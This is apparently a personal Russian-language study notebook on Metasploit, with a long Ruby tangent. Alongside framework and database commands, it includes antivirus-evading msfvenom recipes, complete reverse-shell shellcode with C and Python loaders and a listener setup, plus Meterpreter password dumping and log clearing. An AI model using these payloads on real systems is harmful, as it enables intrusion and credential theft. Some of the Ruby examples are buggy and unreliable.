Metasploit
- Общая информация
- Управление данными
- Exploits
- Payloads
- Meterpreter
- Автоматизация MSF
- Ruby
- MSFvenom & nasm
Общая информация
Бесплатный курс от разработчика MSF
Для обучения предлагается использовать metasploitable - виртуальную машину с набором уязвимостей.
Дополнительные инструменты для работы:
- nessus для поиска возможных уязвимостей
- nmap для сетевого сканирования
- w3af сканер уязвимостей web приложений
- Armitage фреймворк автоматизации атак, использующий MSF в качестве backend
Структура фреймворка:
В Kali обычно установлен в /usr/share/metasploit-framework Модули расположены в директории modules, плагины - в plugins.
Auxiliaries: небольшие вспомогательные утилиты. Более 1000.
Payloads: нагрузка. Singles (однократная)- все в одном. Контейнер, содержащий все что нужно. Недостаток - размер. Stagers (минимальная) - только поднимает соединение, больше ничего нет. Stages - скачиваемый код после установки соединения.
Exploits: более 2500, в 19 категорий. Для выбора необходимо знать операционную систему (включая точную версию и архитектуру), открытые порты, сервисы (включая версии).
Encoders: обфускация кода. Около 10 категорий.
NOP: отсутствие команды. Модифицирует эксплоит для снижения вероятности обнаружения
Post: модули дальнейших действий после взлома системы.
Evasion: большинство нагрузок и шелл-кодов определяются антивирусом. Этот модуль для дополнительной модификации.
Команды
Общие команды
| connect ip:port | Пробное соединение |
| route | Управление маршрутами. |
| save | Сохраняет установленные параметры |
Работа с модулями
|
search <sometext> |
Поиск эксплойта по имени. Поддерживает регулярки. Можно комбинировать несколько, по И правилу.
Можно ограничить поиск по именам модуля
Возможные ограничения:
|
| use <path> | Перейти в модуль. Например, модуль сканирования портов:
|
| info | Информация об эксплойте |
| show options | Показать требуемые данному модулю параметры. |
| set <parameter> / unset | Устанавливает локальное значение параметра / Убирает |
| get <parameter> | Вывести параметр |
| getg | Вывести глобальное значение параметра |
| setg | Устанавливает глобальное значение параметра |
| run | !Если это модуль! Запускает модуль с установленными параметрами |
| check | Проверка настроек |
| exploit | !Если это эксплоит! Запуск эксплойта |
| back | Вернуться назад |
История и команды
| spool |
off отключает логгирование результатов в файл filepath включает логгирование в файл |
| makerc |
Сохраняет вводимые команды. Аналогично spool |
Функционал:
- Управление задачами. jobs, kill
- Управление сессиями
Дополнительные утилиты
| msf-exe2vbs | Конвертирует exe в VBScript |
| msf-exe2vba | Можно выполнить даже в Excel |
| msf-pdf2xdp | Pdf в xdp |
| msf-pattern_create | Быстрое создание паттернов |
| msf-virustotal | Проверка зловреда на virustotal |
Управление данными
База данных
В Kali запускаем postgresql и инициализируем базу данных. Создадутся базы msf и msf_test.
root@kali:~# systemctl start postgresql
root@kali:~# msfdb init
Управление данными
| db_status | Статус соединения с базой |
| db_connect | Подключиться к бд. Без параметров - к локальной. Может быть удаленная
|
| db_disconnect | Отключение |
| db_export -f <format> [filename] | Сохранение данных в файл. Формат xml или pwdump |
| db_import file1 [file2...] | Импорт данных из файла. Может быть импорт в виде *.xml, или **/*.xml |
| db_rebuild_cache | Пересчет кэша |
Рабочее пространство. Способ организации хранения связанных данных.
| workspace | Список пространств. * текущее. |
| workspace -a | Создать новое |
| workspace <name> | Переключиться на рабочее пространство name |
| workspace -d | Удалить |
Таблицы
| hosts |
Обнаруженные хосты. IP-адрес, MAC-адрес, имя хоста, ОС, состояние, комментарии |
| services | Сетевые сервисы. Порт, протокол (TCP/UDP), состояние (open/closed), имя сервиса, версия |
| vulns | Уязвимости. Название, описание, ссылки, критичность, доказательства |
| notes | Дополнительная информация о хостах и сервисах. Содержит Различные данные (учетные записи, собранная информация) |
| loot | Извлеченные данные. Содержит: Хеши паролей, конфигурационные файлы, личные данные |
| creds | Учетные данные для аутентификации. Содержит: Логины, пароли, хеши, тип аутентификации |
| workspaces | Разделение проектов/задач |
| clients | Клиентские системы. Содержит: Данные о браузерах, пользовательских агентах |
| events | События. Содержит: Действия, выполняемые в рамках тестирования |
| exploited_hosts | Успешные эксплуатации. Содержит: Данные о взломанных системах |
| sessions | Открытые сессии. Содержит: Активные соединения с скомпрометированными системами |
| web_sites | Веб-сайты. Содержит: URL, виртуальные хосты, SSL-информация |
| web_pages | Веб-страницы. Содержимое страниц, формы, ссылки |
| web_forms | HTML-формы. Поля форм, методы отправки |
| web_vulns | XSS, SQLi, и другие веб-уязвимости |
Ручное добавление данных: сначала создать объект, затем модифицировать его.
msf > hosts -a 192.168.0.1
msf > hosts 192.168.0.1 -m "first node"
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.0.1 first node
Как я понял, ручное добавление нечасто используется.
Фильтрация
Ключ -S <term> Например
msf > hosts -S 0.1
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.0.1 first node
При фильтрации важно указывать колонки -c поскольку поиск полнотекстовый.
Использование данных
В свойствах таблицы есть параметр, который можно использовать в инструментах/... Например, в таблице hosts есть параметр RHOSTS.
msf > hosts -h
...
OPTIONS:
...
-R, --rhosts Set RHOSTS from the results of the search
...
Это означает, что в случае использования в инструментах параметра RHOSTS его можно заполнить данными из БД. Пример запуска инструмента для хостов, отфильтрованных по 127. Параметр -R добавляет данные в параметр RHOSTS.
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
127.0.0.1
192.168.0.1 first node
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 22 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(scanner/portscan/tcp) > hosts -c address -S 127 -R
Hosts
=====
address
-------
127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 22 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
View the full module info with the info, or info -d command.
msf auxiliary(scanner/portscan/tcp) > run
[*] 127.0.0.1 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Сохранение данных в CSV
msf > hosts -S Linux -o /root/msfu/linux.csv
Архивация и восстановление данных
Архив:
# В msfconsole
db_export -f xml full_backup.xml
# или
db_export -f json full_backup.json
Восстановление:
db_import full_backup.xml
Exploits
Книга Metasploit: The Penetration Tester's Guide
Эксплоит — программа, эксплуатирующая уязвимости в системе. Примеры эксплоитов для модификации в разделе documentation/samples/modules/exploits/
Есть скрипт auto_pwn для автоматического поиска эксплойтов для существующих в базе хостов и известных служб.
Payloads
Проверять на https://virustotal.com
Нагрузка (payload) — часть эксплойта, выполняющаяся после успешной эксплуатации уязвимости. Типы нагрузок:
- одиночные (Singles)
- комплексные (Stagers)
- поэтапные (Stages)
Например, windows/shell_bind_tcp представляет собой единую полезную нагрузку без этапа, тогда как windows/shell/bind_tcp состоит из этапа (bind_tcp) и этапа (shell).
Генерация полезной нагрузки
Переходим в payload. Генерация командой generate. Опции:
| -E | Ускоренное кодирование |
| -b | Список символов для исключения '\x00\xff'. Например
При большом наборе исключаемых символов возможна ошибка "Payload generation failed: No encoders encoded the buffer successfully.". Это означает, что не найден энкодер для данного набора. |
| -e | Энкодер По умолчанию происходит автоматический поиск наиболее подходящего энкодера. Выбор зависит от списка символов для исключения. |
| -i | Количество итераций энкодера. |
| -o | Разделенные запятыми параметры в виде парам=знач |
| -p | Платформа |
| -s | Количество добавляемых NOP |
| -f | Имя файла. По умолчанию вывод в консоль. |
| -t | Формат выходного файла: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war |
| -x | Шаблон используемого исполняемого файла |
| -k | Сохранять функциональность используемого шаблона |
Meterpreter
Динамически расширяемая нагрузка, использующая инъекцию в dll в памяти. Работает через сокет. Алгоритм работы:
- Целевая машина запускает начальную нагрузку (bind, reverse, findtag, passivex, и т д)
- Начальная нагрузка загружает dll, с префиксом Reflective.
- Инициализируется ядро Meterpreter, создается TLS соединение и скачивается конфигурация клиента.
- Обычно загружается stdapi, остальное в зависимости от задачи.
Особенности:
- Работает только в памяти, на диск ничего не пишет
- Новые процессы не запускаются, инъекция в существующие скомпроментированные процессы с возможностью миграции из процесса в процесс
- Шифрованное взаимодействие
- Динамическое расширение функционала без необходимости сборки
Консоль meterpreter
Отдельная консоль для управления скомпроментированной системой. Команды:
Управление и исполнение файлов
| cat | Отображение файла |
| cd, pwd | Переход и отображение текущей папки |
| execute | Выполнить команду на системе |
| download | Скачивает файл с скомпроментированной машины |
| upload | Закачивает файл на удаленную машину |
| edit | Редактирование файла на |
| lpwd, lcd | Отображение и смена рабочей директории |
| ls | Список файлов и директорий |
| search | поиск файлов |
Сессия и система
| background | Перевод сессии в фон и возврат в консоль MSF. Для восстановления нужно подключиться к сессии
|
| ipconfig | Конфигурация сети |
| idletime | Время работы системы |
| migrate | Мигрировать на другой процесс |
| ps | Список процессов |
| shell | Удаленная консоль |
Windows-специфические команды
| hashdump | Дамп базы паролей Windows |
| clearev | Очистка логов журналов Application, System, and Security на Windows |
Web камера
| webcam_list | Список web камер |
| webcam_snap | Фото с камеры |
Интерпретатор python
| load_python | Загрузить интерпретатор |
| python_import | Импортировать модуль |
| python_execute | Выполнить скрипт |
| python_reset | Сброс интерпретатора |
Автоматизация MSF
Ресурсные скрипты
Аналог bash скриптов для msf. Текстовые файлы с расширением rc, выполняются консолью msf построчно. Можно создать скрипт из введенных команд
Запуск
Из существующего где-то файла:
msfconsole -r /path/to/script/attack.rc param1 param2
Их скрипты размещаются в /usr/share/metasploit-framework/scripts/resource
msf > resource /path/to/script param1 param 2
Можно сохранить последние введенные команды. ! ~ не работает, нужен полный путь !
msf > makerc /home/kali/lessons_ruby/myscript.rc
makerc запоминает, какие команды уже были сохранены. Поэтому если сразу же повторить предыдущую команду, то будет сообщение [-] No commands to save!
Добавление Ruby
В данные скрипты можно добавлять скрипты на Ruby:
workspace -a http_title
db_nmap -Pn -T4 -n -v -p 80 --open 192.168.33.0/24
use auxiliary/scanner/http/title
<ruby>
run_single("set RHOSTS #{framework.db.hosts.map(&:address).join(' ')}")
</ruby>
run
Скрипты расположены в /usr/share/metasploit-framework/scripts/resource
Вариант для python:
pip install pymetasploit3
Пример скрипта:
from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('your_password', port=55553)
# Запуск сканирования
scan = client.modules.use('auxiliary', 'scanner/portscan/tcp')
scan['RHOSTS'] = '192.168.1.1-100'
scan['PORTS'] = '1-1000'
scan['THREADS'] = '20'
result = scan.execute()
print(result)
# Получение результатов из БД
for host in client.db.hosts():
print(f"Host: {host['address']}")
for service in client.db.services(host['address']):
print(f" Port: {service['port']}/{service['proto']} - {service['state']}")
Ruby
Установка: apt install ruby-full
rbenv -
Все объекты. Без аргументов функция не требует наличия скобок. Доступа к свойствам объекта нет, через методы. Динамическое типизирование.
1.class # Выводит класс объекта, в данном случае Fixnum
Типы данных
Целые числа
| 3.times {print "r"} | повтор действия 3 раза |
| 1.upto(9) { |x| print x } | вывод 123456789 |
Строки. Одинарные кавычки - все символы, в двойных можно подставлять значения.
Многострочный текст
message = <<~TEXT
This is a multi-line string
that preserves formatting
in a tidy way.
TEXT
Есть символы (Symbols) - строки, но фиксированные. Начинаются с :. Например :fucktheruby. Используются в ключах словарей для быстрого доступа.
Массивы (аналог списков python)
a[1] - обращение к 1 элементу массива.
a = [3, 2, 1]
a.each do |elt|
print elt + 1
end
| a.each | Для каждого элемента |
| a,map {} | Изменение массива по правилам.
|
| a.select | выбор элементов в соответствии с правилами.
|
Хэши Аналог словарей в python.
h = {
:one => 1,
:two => 2
}
h[:one]
h.each do |key, value|
print "#{value} у ключа #{key} " # выведет 1 у ключа one 2 у ключа two
end
instrument_section = {
"cello" => "string",
"clarinet" => "woodwind",
"drum" => "percussion",
"oboe" => "woodwind",
"trumpet" => "brass",
"violin" => "string"
}
Блядь, если использовать такой синтаксис, то оно создаст ключ Symbol.
instrument_section = {
cello: "string"
}
x = instrument_section[:cello]
Методы
|
puts |
Вывод значений |
|
ARGV[0] |
Первый аргумент при вызове скрипта |
Операторы
x = 1
x, y = 1, 2
x += 1
1..3 # набор значений от 1 до 3
1...3 # набор значений от 1 до 2
generation = case birthyear
when 1946..1963: "Поколение 1"
else nil
end
# Регулярки
def areyoushure?
while true
print "Вы уверены"
response = gets
case response
when /^[Yy]/
return true
when /^Nn/, /^$/
return false
end
end
end
line = gets
if line =~ /Ruby|Rust/
puts "Programming language mentioned: #{line}"
end
line = gets
if line.match?(/Ruby|Rust/)
puts "Scripting language mentioned: #{line}"
end
line = gets
newline = line.sub(/Python/, 'Ruby') # replace first 'Python' with 'Ruby'
newerline = line.gsub(/Python/, 'Ruby') # replace every 'Python' with 'Ruby'
Условные операторы
today = Time.now
if today.saturday?
puts "Do chores around the house"
elsif today.sunday?
puts "Relax"
else
puts "Go to work"
end
puts "Danger, Will Robinson" if radiation > 3000
Блоки. Без комментариев. Являются аргументами для методов.
def call_block
puts "Start of method"
yield
yield
puts "End of method"
end
call_block { puts "In the block" }
Выведет:
Start of method
In the block
In the block
End of method
В | | передаются параметры блока. Например
def who_says_what
yield("Dave", "hello")
yield("Andy", "goodbye")
end
who_says_what { |person, phrase| puts "#{person} says #{phrase}" }
Похоже
Классы
Все классы расширяемы внутри приложения. Термин Instance = Object
.new Конструктор объекта.
Методы (функции) Если это вне класса, то глобальная функция. Возвращает последнее вычисляемое значение.
def square(x)
x*x
end
def multireturn
x, y = 1,2
[x, y]
end
Если метода нет, вызывается специальный метод method_missing. По умолчанию исключение. Его можно переопределить.
class Greeting
def method_missing(name, *args)
"Привет из #{name}"
end
def respond_to_missing?(name, include_private = false)
true
end
end
g = Greeting.new
g.respond_to?(:hello) # => true
puts g.hello # => "Привет из hello"
Префиксы и постфиксы. Вроде упрощает язык, но походу хуета на уровне выебнуться. Отказались от одного, ввели другое.
Имена классов, модулей и констант с большой буквы. Локальные переменные, параметры методов и имена методов только с маленькой буквы. Глобальные переменные - префикс $. переменные объекта - @, переменные класса - @@
Если имя метода заканчивается на равно, то можно использовать синтаксис
# некий класс, в котором есть метод x= и нужно туда передать значение 1
o.x=(1) # как оно обычно вызывается
o.x = 1 # так тоже можно. Типа крутая фича. Закрыли свойства, зато сделали ЭТО
На знак вопроса - возвращается только булево значение
На восклицательный знак - метод меняет объект. Например метод .sort массива возвращает отсортированный массив, тогда как метод .sort! сортирует существующий объект.
Синглтоны - методы, добавляемые к существующему классу или единичному объекту. (Ебанутая херня, хотя позиционируется как ключевая).
def Math.square(x)
x*x
end
Описание класса
Пример класса, создающего элементы с шагом.
class Sequence
include Enumerable
def initialize(from, to, delta)
@from, @to, @delta = from, to, delta
end
def each
x = @from
while x <= @to
yield x
x += @delta
end
end
def length
return 0 if @from > @to
Integer((@to - @from)/@delta) + 1)
end
alias size length # алиас на метод size
def [](index) # переопределение метода получения доступа к элементам массива
return nil if index < 0
v = @from + index * @delta
if v <= @to
v
else
nil
end
end
def *(factor) # переопределение операции умножения над объектом
Sequence.new(@from*factor, @to*factor, @delta*factor)
end
Модули
Набор функций.
module Sequence
def self.fromtoby(from, to, delta)
x = from
while x <= by
yield x
x += delta
end
end
end
MSFvenom & nasm
Консоль nasm служит для получения opcode для команд.
MSFvenom
Инструмент для генерации shellcode, исполняемых файлов, и т д, для использования эксплойтов снаружи msf. Основной элемент настройки - payload поэтому около него все крутится.
Энкодер. MSFvenom берёт исходный payload и пропускает его через encoder, который меняет последовательность байтов, но добавляет в начало декодер — небольшой фрагмент кода, который при запуске восстанавливает исходный шеллкод в памяти и выполняет его.
x86/shikata_ga_nai - часто используемый, универсальный энкодер.
Шифрование нагрузки. Полученный payload шифруется (scramble) побайтно. В результат добавляется декриптор/загрузчик, который при запуске расшифровывает payload в памяти и затем выполняет его. Отличие от энкодеров:
- Энкодер полиморфно преобразует байты (обычно XOR-подобные трансформации, shikata_ga_nai и т. п.), задача — убрать «плохие байты» и усложнить статический анализ.
- --encrypt использует криптографические алгоритмы (напр., AES, RC4, Base64), и обычно даёт лучшее сопротивление простому статическому сканированию.
# пример: зашифровать RC4 и задать ключ
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
--encrypt rc4 --encrypt-key 'mysecretkey' -f exe -o payload.exe
# пример AES (названия алгоритмов зависят от версии msfvenom)
msfvenom -p ... --encrypt aes256 --encrypt-key '32_byte_key_here' -f raw -o out.bin
Важные нюансы и ограничения
- Не все форматы/пейлоады поддерживают шифрование одинаково. В некоторых версиях/для некоторых платформ --encrypt может не влиять на итог (или работать только для Windows/PE). Нужно проверять отдельно.
- Нужен ключ, без ключа шифрование бессмысленно
- Декриптор тоже должен удовлетворять --bad-chars — декодер/декриптор добавляет байты, которые тоже не должны содержать запрещённые символы.
- Шифрование помогает против простых сигнатур, но поведенческий анализ/динамический анализ всё ещё могут детектировать payload.
- Стадированные vs безстадированные payload'ы. Поведение может отличаться для staged/stageless payload’ов: в некоторых случаях шифрование применяется только на одной стадии. Проверяй результат (хеш/размер/поведение).
Проверка
- Сравни MD5/sha256 до и после — если шифрование активно, хеши и байты файла должны измениться.
- Посмотри вывод msfvenom — он обычно указывает, что применялось шифрование/декодер и итоговый размер.
- Тестируй в изолированной среде (виртуалка), чтобы убедиться, что декодер корректно восстанавливает payload и он выполняется.
Шифрование и кодирование может применяться вместе.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 \
--encrypt rc4 --encrypt-key 'mysecret' \
-b '\x00\x0a\x0d' -f exe -o payload.exe
| Просмотр информации |
|
| -l, --list <type> |
Список модулей указанного типа. Варианты типов: payloads, encoders, nops, platforms, archs, encrypt, formats, all
Можно дополнительно фильтровать по свойствам: --platform платформа --arch архитектура
|
| --list-options |
Список опций для данной нагрузки.
|
| Настройка нагрузки | |
| -p, --payload <payload> | Нагрузка для использования |
| -t, --timeout <second> |
Сколько секунд инструмент будет ждать при чтении полезной нагрузки (payload) из STDIN.
То есть, можно взять свой бинарный файл и его например закодировать. 0 - бесконечно (ждем сколько надо). |
| -s, --space <length> | Максимальный размер результирующей нагрузки. |
| Настройка энкодера | |
| -e, --encoder <encoder> | Используемый энкодер. |
| --encoder-space <length> | Максимальный размер закодированной нагрузки, по умолчанию значение -s |
| --smallest | Сгенерировать минимально возможную по размеру нагрузку, используя все возможные encoders. Видимо не сочетается с -e. |
| -i, --iterations <count> | Количество проходов энкодера |
| -b, --bad-chars <list> |
Набор байтов (символов), которые нужно избегать в сгенерированном shellcode.
Как указывать Примеры в bash:
Важно: экранирование зависит от оболочки (в PowerShell/Windows CMD нужно иное экранирование).
В начало добавляется декодер-стаб (который тоже должен не содержать bad-chars), поэтому выбирается энкодер и/или увеличить число итераций (-i) чтобы получить корректный результат. Ограничения.
Проверка результата
Советы
Часто используемый минимум
Это самые распространённые, их почти всегда добавляют в --bad-chars. Дополнительные байты в зависимости от вектора
Специальные случаи и алфавиты
|
| Настройка шифрования |
|
| --encrypt <value> |
Тип шифрования payload |
| --encrypt-key <value> |
Ключ шифрования |
| --encrypt-iv <value> |
Вектор инициализации для шифрования. |
| NOP |
|
| -n, --nopsled <length> |
Вставляет зону заполнения инструкциями «NOP» перед основным shellcode, чтобы при попадании управления в произвольное место этой зоны с вероятностью выше попасть в начало шеллкода. Полезно при эксплуатациях (buffer overflow, return‑oriented jump и т.п.) — создаёт «landing zone», повышая шанс успешного перехода на рабочий код. Зачем нужен
Пример использования (вставляем 64 байта NOP перед payload):
В результате файл payload.bin начнётся с 64 NOP‑байтов, затем пойдёт декодер/сам payload. Важные нюансы
Проверка
|
| --pad-nops |
Использует размер nopsled, указанный с помощью -n <длина>, в качестве общего размера полезной нагрузки, автоматически добавляя nopsled количества (nops минус длина полезной нагрузки). |
| Дополнительные настройки | |
| --platform <platform> | Платформа для payload |
| -a, --arch <arch> | Архитектура для payload или encoders |
| --service-name <value> | Имя сервиса при генерации бинарника для сервиса. |
| -v, --var-name <value> |
Имя переменной, которое будет использоваться в сгенерированном исходном коде (например для типов файла -f c, -f python, -f ruby, -f perl и т.п.). Удобно при встраивании shellcode в исходный файл. Когда применяется
Примеры C:
Результат (фрагмент) будет содержать:
Python:
Результат:
Ограничения и советы
|
| Объединение кода | |
| -x, --template <path> |
Бинарник, в который нужно добавить созданную нагрузку. Не изменяет существующую логику бинарника. Т е заменяется некая часть. Не подходит для инъекции в любые приложения. -k, --keep Сохранить шаблон, а payload добавить в новый поток. |
| --sec-name <value> |
Имя новой секции (section) PE-(Windows)-файла, в которую msfvenom размещает большой payload при генерации исполняемого файла. По умолчанию случайное 4 символьное слово. Актуально если payload не помещается в существующие секции шаблона, msfvenom создаёт дополнительную секцию в PE-образе; --sec-name позволяет задать имя секции вместо случайного.
|
| -c, --add-code <path> |
Добавляем дополнительный shellcode. Это позволяет сложить несколько шэллкодов в один. Это полезно, если нужно включить заранее подготовленный код (например, MessageBox-демо, кастомный инжектор, bootstrap-stub и т.п.) вместе с payload от Metasploit.
|
| Настройки результата | |
| -o, --out <path> | Путь и имя создаваемого файла |
| -f, --format <format> | Формат создаваемого файла |
Объединение нагрузки и своего кода.
Задача: собрать объединенный бинарник, из first_copy.out (выводит ждет ввода данных и reverse shell из metasploit). Новый бинарь закинуть обратно на существующую машину.
Интересный проект https://github.com/secretsquirrel/the-backdoor-factory?tab=readme-ov-file
Подготовка. Для проверки работы запустим listener на Kali и будем ждать соединения.
msf> use exploit/multi/handler
msf> set payload linux/x64/shell_reverse_tcp
msf> set LHOST 192.168.1.189
msf> exploit
Просто генерация кода работает. Но дальше - болт. Предположения в части шаблонов, добавления сегмента и объединения кода как-то плохо пошли. Чего-то базового не понимаю. Похоже, инжектировать код в абстрактную программу довольно сложный процесс. Однако это критичная задача. Начнем с малого.
Добавление нагрузки в виде шелл-кода в исходный код
Создаем код:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.189 LPORT=4444 --arch x64 --platform linux -f c
Оно выведет кусок кода, который нужно вставить и выполнить.
Последовательное исполнение, C:
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
int main() {
// Шеллкод для linux/x64/shell_reverse_tcp
unsigned char shellcode[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\xc0\xa8\x01\xbd\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
printf("Shellcode length: %zu\n", strlen(shellcode));
// Выделяем исполняемую память
void *exec = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(exec, shellcode, sizeof(shellcode));
// Выполняем
((void(*)())exec)();
return 0;
}
Создается бинарник без доп. команд,
gcc -o third third.c
Shell код выполняется и программа в любом случае завершается, вне зависимости от дальнейших C команд, т.к. в генерируемом shell коде нет адреса возврата. То есть бинарник-то может быть большим, но после перехода в старт исполнения из памяти, последующее работать не будет.
Последовательное выполнение, Python
#!/usr/bin/env python3
import ctypes
import mmap
# Шеллкод из msfvenom
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
def execute_shellcode(shellcode):
# Выделяем исполняемую память
executable_memory = mmap.mmap(-1, len(shellcode), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
executable_memory.write(shellcode)
# Получаем указатель на память
ctypes_buffer = ctypes.c_void_p.from_buffer(executable_memory)
# Преобразуем в функцию
function = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes_buffer))
# Выполняем
function()
if __name__ == "__main__":
print("Executing shellcode...")
execute_shellcode(buf)
print("End executing.")
Подпроцесс (проверить)
#!/usr/bin/env python3
import subprocess
import sys
def create_and_execute():
# Шеллкод
shellcode = b"\x6a\x29\x58\x99..." # ваш шеллкод здесь
# Создаем временный файл
with open("/tmp/shellcode.bin", "wb") as f:
f.write(shellcode)
# Делаем исполняемым и запускаем
subprocess.run(["chmod", "+x", "/tmp/shellcode.bin"])
print("Shellcode saved to /tmp/shellcode.bin")
# Запускаем (раскомментируйте для выполнения)
# subprocess.run(["/tmp/shellcode.bin"])
if __name__ == "__main__":
create_and_execute()
Запуск приложения изолировано от консоли
section .data
browser db '/usr/bin/firefox', 0
url db 'https://irk.ru', 0
argv dq browser, url, 0
section .text
global _start
_start:
; fork()
mov rax, 57
syscall
cmp rax, 0
jnz exit_parent
; --- Дочерний процесс ---
; закроем stdin/out/err
mov rax, 3
xor rdi, rdi
syscall
mov rdi, 1
mov rax, 3
syscall
mov rdi, 2
mov rax, 3
syscall
; вычисляем адрес envp
mov rbx, rsp ; начало стека
mov rcx, [rbx] ; argc
lea rdx, [rbx + 8] ; указывает на argv[0]
.skip_argv:
cmp qword [rdx], 0
lea rdx, [rdx + 8]
jne .skip_argv ; пропускаем все argv
; теперь rdx указывает на envp[0]
; execve("/usr/bin/firefox", argv, envp)
mov rax, 59
mov rdi, browser
mov rsi, argv
syscall
; если не сработал execve
mov rax, 60
mov rdi, 1
syscall
exit_parent:
mov rax, 60
xor rdi, rdi
syscall
Теперь попробуем добавить вместо выхода шелл-код.
dd